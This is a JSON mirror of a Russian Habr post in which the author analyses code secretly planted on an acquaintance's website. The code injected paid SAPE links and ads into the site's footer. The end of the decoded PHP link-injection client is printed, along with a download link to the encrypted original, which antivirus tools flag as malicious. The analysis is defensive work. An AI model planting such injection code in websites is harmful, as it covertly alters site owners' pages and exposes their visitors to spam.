$allowed_domains = $this-&gt;_data['index']['ext_links_allowed'];         $allowed_domains[] = $this -&gt; _host;         $allowed_domains[] = 'www.' . $this -&gt; _host;         $this-&gt;_cut_unnecessary($template_body, 'C', '|&lt;!--(.*?)--&gt;|smi');         $this-&gt;_cut_unnecessary($template_body, 'S', '|&lt;script[^&gt;]*&gt;.*?&lt;\/script&gt;|si');         $this-&gt;_cut_unnecessary($template_body, 'N', '|&lt;noindex[^&gt;]*&gt;.*?&lt;\/noindex&gt;|si');          $slices = preg_split($link_pattern, $template_body, -1,  PREG_SPLIT_DELIM_CAPTURE );         if(is_array($slices)) {             foreach ($slices as $id =&gt; $link) {                 if ($id % 2 == 0) {                     continue;                 }                 if (preg_match($href_pattern, $link, $urls)) {                     $parsed_url = @parse_url($urls[1]);                     $host = isset($parsed_url['host'])?$parsed_url['host']:false;                     if (!in_array($host, $allowed_domains) || !$host){                         $slices[$id] = '&lt;noindex&gt;' . $slices[$id] . '&lt;\/noindex&gt;';                     }                 }             }             $template_body = implode('', $slices);         }         $this-&gt;_restore_unnecessary($template_body, 'N');         $slices = preg_split($link_pattern, $template_body, -1,  PREG_SPLIT_DELIM_CAPTURE );         if(is_array($slices)) {             foreach ($slices as $id =&gt; $link) {                 if ($id % 2 == 0) {                     continue;                 }                 if (preg_match($href_pattern, $link, $urls)) {                     $parsed_url = @parse_url($urls[1]);                     $host = isset($parsed_url['host'])?$parsed_url['host']:false;                     if (!in_array($host, $allowed_domains) || !$host) {                         $slices[$id] = preg_replace($rel_pattern, '', $link);                         $slices[$id] = preg_replace($link_subpattern, '$0rel=&quot;nofollow&quot; ', $slices[$id]);                     }                 }             }             $template_body = implode('', $slices);         }          $this-&gt;_restore_unnecessary($template_body, 'S');         $this-&gt;_restore_unnecessary($template_body, 'C');         return $template_body;     }      function _is_valid_template($template_body){         foreach ($this-&gt;_data['index']['template_required_fields'] as $field){             if (strpos($template_body, '{' . $field . '}') === false){                 $this-&gt;_template_error = 'n8 ' . $field . '.';                 return false;             }         }         return true;     }      function _return_html($html){         if ($this-&gt;_headers_enabled){             header('HTTP\/1.x 200 OK');             if (!empty($this-&gt;_charset)){                     header('Content-Type: text\/html; charset=' . $this-&gt;_charset);             }         }         return $html;     }      function _return_not_found(){         header('HTTP\/1.x 404 Not Found');     }      function _get_dispenser_path(){         switch ($this-&gt;_request_mode){             case 'index':                 return '\/?user=' . _SAPE_USER . '&host=' .                 $this-&gt;_host . '&rtype=' . $this-&gt;_request_mode;             break;             case 'article':                 return '\/?user=' . _SAPE_USER . '&host=' .                 $this-&gt;_host . '&rtype=' . $this-&gt;_request_mode . '&artid=' . $this-&gt;_article_id;             break;             case 'image':                 return $this-&gt;image_url;             break;         }     }      function _set_request_mode($mode){         $this-&gt;_request_mode = $mode;     }      function _get_db_file(){         if ($this-&gt;_multi_site){             return dirname(__FILE__) . '\/' . $this-&gt;_host . '.' . $this-&gt;_save_file_name;         }         else{             return dirname(__FILE__) . '\/' . $this-&gt;_save_file_name;         }     }      function set_data($data){        $this-&gt;_data[$this-&gt;_request_mode] = $data;     }  }  $sape = new SAPE_client();    if (!isset($_COOKIE['__utmr_cache'])) { echo'&lt;div class=&quot;ssil&quot;&gt;'; $tpl-&gt;set('{slink}', $sape-&gt;return_links()); echo'&lt;\/div&gt;'; } else { echo'&lt;div class=&quot;ssil2&quot;&gt;'; $tpl-&gt;set('{slink}', $sape-&gt;return_links()); echo'&lt;\/div&gt;'; }  ?&gt; <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u0421\u0430\u043c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0441 Google.Drive.<br \/>  \u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435! \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u0432\u0438\u0440\u0443\u0441 (\u0432 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 PHP).<br \/>  \u0421\u043a\u0430\u0447\u0430\u0442\u044c c <a href=\"https:\/\/drive.google.com\/file\/d\/0B7mYAOaGIGOTTHo4Mkp2WWtMbWc\/edit?usp=sharing\">Google.Drive<\/a><br \/>  <habracut\/> \t\t\t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/217793\/\"> http:\/\/habrahabr.ru\/post\/217793\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\"> \t\t\t\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439 \u0425\u0430\u0431\u0440!<br \/>  \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0437\u0430\u0439\u0434\u044f \u043d\u0430 \u0441\u0430\u0439\u0442 \u0441\u0432\u043e\u0435\u0439 \u0437\u043d\u0430\u043a\u043e\u043c\u043e\u0439, \u0447\u0435\u0440\u0435\u0437 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u043f\u043e\u0434\u0432\u0430\u043b\u0435.<br \/>  \u042f \u043f\u043e\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0441\u044f \u0443 \u043d\u0435\u0435, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043b\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b\u0430 \u044d\u0442\u0438 \u0441\u0441\u044b\u043b\u043a\u0438. \u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u043d\u0435\u0442. \u041e\u043d\u0430 \u0443\u0434\u0438\u0432\u0438\u043b\u0430\u0441\u044c \u0438 \u0440\u0435\u0448\u0438\u043b\u0430 \u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043e \u043a\u0430\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0438\u0434\u0435\u0442 \u0440\u0435\u0447\u044c \u0438 \u0437\u0434\u0435\u0441\u044c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435: \u0441\u0441\u044b\u043b\u043a\u0438 \u0431\u044b\u043b\u0438, \u043d\u043e \u0434\u0440\u0443\u0433\u0438\u0435. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u0430\u044f \u0440\u0435\u043a\u043b\u0430\u043c\u0430, \u043f\u0440\u0438\u0447\u0435\u043c \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433.<\/p>\n<p>  \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u044f \u0432\u044b\u043f\u0438\u043b\u0438\u0432\u0430\u043b \u0441\u043a\u0432\u0435\u0440\u043d\u0443 \u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0441\u044f \u043a\u0430\u043a \u043e\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-217793","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/217793","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=217793"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/217793\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=217793"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=217793"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=217793"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}